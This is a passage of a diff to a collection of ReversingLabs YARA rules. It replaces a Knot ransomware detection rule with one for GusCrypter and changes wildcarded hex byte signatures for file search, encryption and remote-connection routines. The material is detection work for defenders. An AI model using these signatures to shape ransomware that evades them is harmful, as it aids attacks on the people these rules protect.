+            ?? 6A ?? 66 A5 E8 ?? ?? ?? ?? 83 C4 ?? 53 FF D0 6A ?? FF 75 ?? A3 ?? ?? ?? ?? FF 55
+            ?? 6A ?? FF 75 ?? 8B F0 FF 55 ?? FF 75 ?? 89 45 ?? 53 E8 ?? ?? ?? ?? 8D 45 ?? 50 FF
+        }
+		$encrypt_files_4 = {
+            35 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 66 85 C0 75 ?? 33 C0 40 E9 ?? ?? ?? ?? 8B 3D
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8B C8 8B 45 ?? 53 57 99 53 53
+            2B C2 68 ?? ?? ?? ?? D1 F8 2D ?? ?? ?? ?? 68 ?? ?? ?? ?? 50 8B C6 99 2B C2 D1 F8 2D
+            ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 53 FF D1 A3 ?? ?? ?? ?? E8
+            ?? ?? ?? ?? E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ??
+            8D 8D ?? ?? ?? ?? 51 FF D0 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 68
+            ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0
+            BE ?? ?? ?? ?? 85 C0 75 ?? 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53
+            53 FF D0 56 6A ?? E8 ?? ?? ?? ?? 59 59 53 53 53 68 ?? ?? ?? ?? 53 53 FF D0 39 1D ??
+            ?? ?? ?? 75 ?? 6A ?? 58 EB ?? 6A ?? 59 33 C0 68 ?? ?? ?? ?? 89 5D ?? 8D 7D ?? 6A ??
+            F3 AB E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 EB ?? 83 F8 ?? 74 ?? 68 ?? ?? ?? ?? 6A ?? E8
+            ?? ?? ?? ?? 59 59 8D 4D ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 8D 4D
+            ?? 51 FF D0 6A ?? 59 8D 75 ?? BF ?? ?? ?? ?? F3 A5 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ??
+            ?? 59 59 53 53 53 8D 4D ?? 51 FF D0 3B C3 75 ?? 8B 45 ?? 5F 5E 5B C9 C2 ?? ?? 6A ??
+            E9
+        }
+		$remote_connection_4 = {
+            55 8B EC 51 51 53 56 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 33 F6 56 56 56 6A ??
+            68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 6A ?? 8B D8 E8 ?? ?? ?? ?? 59 59 56 56 6A ?? 56
+            56 6A ?? FF 75 ?? 53 FF D0 68 ?? ?? ?? ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 68
+            ?? ?? ?? ?? 56 56 68 ?? ?? ?? ?? FF 75 ?? 68 ?? ?? ?? ?? FF 75 ?? FF D0 68 ?? ?? ??
+            ?? 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 59 59 56 56 56 56 FF 75 ?? FF D0 53 E8 ?? ?? ?? ??
+            FF 75 ?? E8 ?? ?? ?? ?? FF 75 ?? E8 ?? ?? ?? ?? 83 C4 ?? 5E 5B C9 C3
+        }
+		$remote_connection_5 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 57 33 FF 68 ?? ?? ?? ?? 47 57 E8 ?? ?? ?? ?? 59 59
+            68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 FF 75 ?? 8D 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
+            ?? BE ?? ?? ?? ?? 56 57 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51
+            FF D0 56 57 E8 ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 56 57 E8
+            ?? ?? ?? ?? 59 59 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF D0 68 ?? ?? ?? ?? 6A ?? E8
+            ?? ?? ?? ?? 59 59 8D 8D ?? ?? ?? ?? 51 6A ?? FF D0 BE ?? ?? ?? ?? 85 C0 74 ?? 56 57
+            E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 59 59 6A ?? 57
+            6A ?? FF D0 8B D8 85 DB 7D ?? 56 57 E8 ?? ?? ?? ?? 59 59 6A ?? FF D0 68 ?? ?? ?? ??
+            E8 ?? ?? ?? ?? C7 04 24 ?? ?? ?? ?? 6A ?? 8B F0 E8 ?? ?? ?? ?? 59 59 6A ?? 8D 4D ??
+            51 FF D0 6A ?? 58 66 89 45 ?? 8B 46 ?? 8B 00 8B 00 6A ?? 89 45 ?? E8 ?? ?? ?? ?? 66
+            89 45 ?? 6A ?? 8D 45 ?? 50 53 E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 83 C4
+            ?? 8D 8D ?? ?? ?? ?? 51 FF D0 6A ?? 50 8D 85 ?? ?? ?? ?? 50 53 E8 ?? ?? ?? ?? 53 E8
+            ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? FF D0 5F 5E 5B C9 C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($write_zoldon_regkey) and ( all of ($find_files_p*)) and ( all of ($main_encrypt_function_p*))
+		uint16(0)==0x5A4D and (($encrypt_files_1 and $remote_connection_1 and $remote_connection_2 and $remote_connection_3) or ($encrypt_files_2 and $encrypt_files_3 and $encrypt_files_4 and $remote_connection_4 and $remote_connection_5))
 }
-rule REVERSINGLABS_Win32_Ransomware_Knot : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Guscrypter : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Knot ransomware."
+		description = "Yara rule that detects GusCrypter ransomware."
 		author = "ReversingLabs"
-		id = "4dfe9da5-7ab1-57dc-95fc-b05777f235b8"
-		date = "2021-03-19"
-		modified = "2021-03-19"
+		id = "64aa468c-ec24-58aa-8ea9-23f0cebed227"
+		date = "2020-11-26"
+		modified = "2020-11-26"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Knot.yara#L1-L118"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "a7a3e13139d68314e583ec225a5d56373a551e67d46984dcf9a228a1f7275f14"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.GusCrypter.yara#L1-L129"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "cfe6005028c0e5f5d713af2a549574203678bab2ee48acc1727702bcf91522b1"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -37023,109 +38236,119 @@ rule REVERSINGLABS_Win32_Ransomware_Knot : TC_DETECTION MALICIOUS MALWARE FILE
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "Knot"
+		tc_detection_name = "GusCrypter"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
+		$find_files_p1 = {
+            8A 01 41 84 C0 75 ?? 2B CA 8D 85 ?? ?? ?? ?? 51 50 8D 4D ?? E8 ?? ?? ?? ?? C6 45 ??
+            ?? 8D 45 ?? 8B 5D ?? 83 FB ?? 8B 75 ?? 8B 4D ?? 0F 43 C6 83 F9 ?? 75 ?? 80 38 ?? 0F
+            84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? BA ?? ?? ?? ?? 66 39 10 0F
+            84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 66 81 3A ?? ?? 75 ?? 80 7A
+            ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 83 FB ?? 8D 55 ?? 0F 43 D6 83 F9 ?? 75 ?? 81 3A ?? ?? ?? ?? 75 ??
+            66 81 7A ?? ?? ?? 75 ?? 80 7A ?? ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 8D 4D ?? 83 FB ?? 0F
+            43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83
+            EF ?? 73 ?? 8A 01 3A 02 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 F8
+            ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF ?? 73 ??
+            66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 45 ?? 83 FB ?? 8D 4D
+            ?? 0F 43 CE 83 F8 ?? 75 ?? BA ?? ?? ?? ?? 8D 78 ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2
+            ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ?? 8B 4D
+            ?? 8D 45 ?? 83 FB ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ??
+            ?? ?? 75 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75
+        }
+		$find_files_p2 = {
+            81 38 ?? ?? ?? ?? 75 ?? 80 78 ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83
+            F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ??
+            0F 84 ?? ?? ?? ?? 83 FB ?? 8D 45 ?? 0F 43 C6 83 F9 ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ??
+            81 78 ?? ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ??
+            0F 43 CE 83 7D ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ??
+            83 C2 ?? 83 EF ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 0F 84 ?? ?? ?? ??
+            83 FB ?? 8D 45 ?? 0F 43 C6 83 7D ?? ?? 75 ?? 81 38 ?? ?? ?? ?? 75 ?? 81 78 ?? ?? ??
+            ?? ?? 75 ?? 81 78 ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 83 FB ?? 8D 4D ?? 0F 43 CE 83 7D
+            ?? ?? 75 ?? BA ?? ?? ?? ?? BF ?? ?? ?? ?? 8B 01 3B 02 75 ?? 83 C1 ?? 83 C2 ?? 83 EF
+            ?? 73 ?? 66 8B 01 66 3B 02 75 ?? 8A 41 ?? 3A 42 ?? 75 ?? B0 ?? EB ?? 32 C0 84 C0 75
+            ?? 8D 85 ?? ?? ?? ?? 50 8D 55 ?? 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 EC ?? C6 45 ??
+            ?? 8B CC 8B D0 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? C6 45 ?? ?? 83
+            C4 ?? 8B 95 ?? ?? ?? ?? 83 FA ?? 72 ?? 8B 8D ?? ?? ?? ?? 42 8B C1 81 FA ?? ?? ?? ??
+            72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ??
+            ?? 83 C4 ?? 8B BD ?? ?? ?? ?? C6 45 ?? ?? 83 FB ?? 72 ?? 43 8B C6 81 FB ?? ?? ?? ??
+            72 ?? 8B 76 ?? 83 C3 ?? 2B C6 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 53 56 E8 ?? ?? ??
+            ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 57 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 57 FF
+            15
+        }
 		$encrypt_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 45 ?? 50
-            FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 4D ?? 51
-            FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 6A ?? 6A ??
-            6A ?? 6A ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75 ?? 32 C0 E9 ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 75
-            ?? 32 C0 E9 ?? ?? ?? ?? 8D 4D ?? 51 6A ?? 6A ?? 68 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 52
-            FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 6A ?? 8B 45 ?? 50 8B 4D ?? 51 8B
-            55 ?? 52 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ??
-            ?? ?? 8D 85 ?? ?? ?? ?? 50 6A ?? 6A ?? 6A ?? 6A ?? 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 85
-            C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 6A ?? FF 15 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 32 C0 E9 ?? ?? ?? ?? 8D 85
-            ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 6A ?? 6A ?? 6A ?? 8B 55 ?? 52 FF 15
+            88 84 05 ?? ?? ?? ?? 40 3D ?? ?? ?? ?? 7C ?? 33 FF 33 F6 8B C6 8A 9C 35 ?? ?? ?? ??
+            99 F7 7D ?? 0F B6 04 0A 03 F8 0F B6 CB 03 F9 81 E7 ?? ?? ?? ?? 79 ?? 4F 81 CF ?? ??
+            ?? ?? 47 8A 84 3D ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 88 84 35 ?? ?? ?? ?? 46 88 9C 3D ??
+            ?? ?? ?? 81 FE ?? ?? ?? ?? 7C ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45 ?? 50
+            E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 85 DB 0F 85 ?? ?? ?? ?? 8B 4D ?? 32 D2 E8 ?? ?? ?? ??
+            8B 55 ?? 83 FA ?? 72 ?? 8B 4D ?? 42 8B C1 81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ??
+            2B C1 83 C0 ?? 83 F8 ?? 0F 87 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 55 ?? C7
+            45 ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? C6 45 ?? ?? 83 FA ?? 0F 82 ?? ?? ?? ?? 8B 4D
+            ?? 42 8B C1 81 FA ?? ?? ?? ?? 0F 82 ?? ?? ?? ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83
+            F8 ?? 0F 87 ?? ?? ?? ?? E9 ?? ?? ?? ?? 83 7D ?? ?? 8D 45 ?? 68 ?? ?? ?? ?? 0F 43 45
+            ?? 50 E8 ?? ?? ?? ?? 8B F8 83 C4 ?? 89 BD ?? ?? ?? ?? 85 FF 0F 84 ?? ?? ?? ?? 33 F6
+            53 E8 ?? ?? ?? ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75
         }
 		$encrypt_files_p2 = {
-            85 C0 75 ?? 32 C0 E9 ?? ?? ?? ?? 8B 45 ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF
-            15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 89 45 ?? 83 7D ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ??
-            ?? ?? ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 6A
-            ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 6A ?? 8D 8D ?? ?? ?? ?? 51 8B
-            95 ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ?? 50 8B 4D ?? 51 FF 15 ?? ?? ?? ?? 8B 55 ?? 52 6A
-            ?? FF 15 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 74
-            ?? 8B 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ?? 51 8B 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 4D
-            ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 8D 95 ?? ?? ?? ?? 52 8B 45 ?? 50 8B 8D ?? ?? ??
-            ?? 51 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51 FF 15
-            ?? ?? ?? ?? 8B 55 ?? 52 FF 15 ?? ?? ?? ?? 8B 45 ?? 50 FF 15 ?? ?? ?? ?? 8B 4D ?? 51
-            FF 15 ?? ?? ?? ?? B0 ?? 8B E5 5D C3
-        }
-		$find_files_p1 = {
-            55 8B EC 81 EC ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? C6 85
-            ?? ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ??
-            ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 0F B7 8D ?? ?? ?? ?? 83 F9 ?? 0F 84 ?? ??
-            ?? ?? 8B 95 ?? ?? ?? ?? 83 E2 ?? 89 95 ?? ?? ?? ?? 74 ?? 8D 85 ?? ?? ?? ?? 50 FF 15
-            ?? ?? ?? ?? 83 F8 ?? 75 ?? 8B 4D ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? FF 15
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 8D 85 ?? ?? ?? ?? 50 68 ?? ?? ?? ??
-            8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 95
-            ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ??
-            ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ??
-            ?? ?? ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? C7 85 ?? ?? ?? ??
-            ?? ?? ?? ?? EB ?? 8B 8D ?? ?? ?? ?? 83 C1 ?? 89 8D ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ??
-            73 ?? 8B 95 ?? ?? ?? ?? 8B 04 95 ?? ?? ?? ?? 50 8D 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ??
-            83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 95 ?? ?? ?? ?? 83 FA ?? 75
+            0F BE 85 ?? ?? ?? ?? 57 50 E8 ?? ?? ?? ?? 46 83 C4 ?? 83 FE ?? 7C ?? 53 E8 ?? ?? ??
+            ?? 83 C4 ?? 88 85 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 83
+            7D ?? ?? 8D 4D ?? 8A 85 ?? ?? ?? ?? 0F 43 4D ?? C7 45 ?? ?? ?? ?? ?? 88 01 C6 41 ??
+            ?? 33 C9 8B 75 ?? 8B C6 83 C0 ?? 0F 92 C1 F7 D9 0B C8 51 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            4D ?? 83 7D ?? ?? 8B F8 0F 43 4D ?? 56 57 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BE
+            07 FF B5 ?? ?? ?? ?? 35 ?? ?? ?? ?? 83 C0 ?? 50 E8 ?? ?? ?? ?? 57 E8 ?? ?? ?? ?? 8B
+            BD ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 57 E8 ?? ?? ?? ??
+            83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 8D
+            45 ?? 83 7D ?? ?? 0F 43 45 ?? 50 E8 ?? ?? ?? ?? 8B 4D ?? 83 C4 ?? 32 D2 C7 45 ?? ??
+            ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 ?? 83 F8 ?? 0F 82 ?? ?? ?? ?? 8B 4D ?? 8D 50 ?? 8B C1
+            81 FA ?? ?? ?? ?? 72 ?? 8B 49 ?? 83 C2 ?? 2B C1 83 C0 ?? 83 F8 ?? 77 ?? 52 51 E8 ??
+            ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 52 51 E8 ?? ?? ?? ?? 83 C4 ?? 8B 4D ?? 64 89 0D ??
+            ?? ?? ?? 59 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3
         }
-		$find_files_p2 = {
-            C7 85 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 83 C0 ?? 89 85 ?? ?? ?? ?? 83
-            BD ?? ?? ?? ?? ?? 73 ?? 8B 8D ?? ?? ?? ?? 8B 14 8D ?? ?? ?? ?? 52 8B 85 ?? ?? ?? ??
-            50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? C6 85 ?? ?? ?? ?? ?? EB ?? 0F B6 8D ?? ?? ??
-            ?? 83 F9 ?? 0F 85 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ??
-            ?? ?? ?? 50 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 83 C4 ?? 68 ?? ??
-            ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ??
-            ?? ?? 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ??
-            68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 95 ??
-            ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50 E8 ?? ?? ??
-            ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ??
-            ?? 8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 50
-            E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ??
-            8B 95 ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 50 8B 8D ?? ?? ?? ??
-            51 FF 15 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 52 FF 15 ?? ?? ?? ??
-            8B E5 5D C3
+		$misc_checks_p1 = {
+            68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8
+            ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ??
+            83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83 F8 ?? 74
+            ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ?? 50 E8 ??
+            ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 83
+            F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ?? ?? ?? ??
+            50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 84 ?? ??
+            ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ?? ?? E8 ??
+            ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F
+            84 ?? ?? ?? ?? 83 F8 ?? 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? BA ?? ?? ?? ?? B9 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4
         }
-		$remote_connection = {
-            55 8B EC 81 EC ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ?? ?? ?? 6A ?? 6A
-            ?? FF 15 ?? ?? ?? ?? 89 45 ?? FF 15 ?? ?? ?? ?? 3D ?? ?? ?? ?? 75 ?? 6A ?? FF 15 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C0 83 F8 ?? 0F 85 ?? ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 C8 83 F9 ?? 0F 85 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 50 E8
-            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ??
-            ?? ?? E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 F9 81 C2 ?? ?? ?? ?? 52 8D 95 ?? ?? ?? ??
-            52 68 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 50 FF 15 ?? ?? ?? ?? 83 C4 ?? 6A ?? 6A ?? 8D 8D
-            ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 68 ?? ??
-            ?? ?? 6A ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52 E8 ??
-            ?? ?? ?? 83 C4 ?? 89 85 ?? ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 75 ?? 8D 85 ?? ?? ?? ?? 50
-            FF 15 ?? ?? ?? ?? 33 C0 E9 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ?? ?? 6A ??
-            6A ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ?? ?? 6A ?? 6A ?? FF 15 ?? ?? ??
